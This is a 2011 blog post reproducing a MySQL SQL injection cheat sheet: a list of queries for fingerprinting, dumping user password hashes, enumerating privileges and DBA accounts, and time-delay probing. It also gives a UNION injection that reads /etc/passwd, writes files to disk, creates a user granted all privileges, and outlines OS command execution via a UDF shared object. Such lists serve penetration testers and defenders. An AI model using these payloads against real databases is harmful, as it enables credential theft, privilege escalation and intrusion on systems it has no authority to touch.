Thursday, August 4, 2011

MySQL SQL Injection Cheat Sheet


VersionSELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User SELECT user();
SELECT system_user();
List UsersSELECT user FROM mysql.user; -- priv
List Password HashesSELECT host, user, password FROM mysql.user; -- priv
Password CrackerJohn the Ripper will crack MySQL password hashes.
List PrivilegesSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs
SELECT
host, user, Select_priv, Insert_priv, Update_priv, Delete_priv,
Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,
File_priv, Grant_priv, References_priv, Index_priv, Alter_priv,
Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv,
Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; --
priv, list user privs
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)
SELECT
table_schema, table_name, column_name, privilege_type FROM
information_schema.column_privileges; -- list privs on columns 
List DBA AccountsSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv
Current Database  SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db -- priv
List Columns SELECT
table_schema, table_name, column_name FROM information_schema.columns
WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Tables SELECT
table_schema,table_name FROM information_schema.tables WHERE
table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name
SELECT table_schema, table_name FROM information_schema.columns WHERE
column_name = 'username'; -- find table which have a column called
'username'
Select Nth RowSELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr('abcd', 3, 1); # returns c
Bitwise AND  SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> CharSELECT char(65); # returns A
Char -> ASCII ValueSELECT ascii('A'); # returns 65
CastingSELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
String ConcatenationSELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC
If StatementSELECT if(1=1,'foo','bar'); -- returns 'foo'
Case StatementSELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes SELECT 0x414243; # returns ABC
Time Delay  SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12
Make DNS RequestsImpossible?
Command ExecutionIf
mysqld (<5.0) is running as root AND you compromise a DBA account
you can execute OS commands by uploading a shared object file into
/usr/lib (or similar).  The .so file should contain a User Defined
Function (UDF).  raptor_udf.c
explains exactly how you go about this.  Remember to compile for
the target architecture which may or may not be the same as your attack
platform.
Local File Access...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system
Hostname, IP AddressImpossible?
Create UsersCREATE USER test1 IDENTIFIED BY 'pass1'; -- priv
Delete UsersDROP USER test1; -- priv
Make User DBAGRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv
Location of DB filesSELECT @@datadir;
Default/System Databasesinformation_schema (>= mysql 5.0)
mysql

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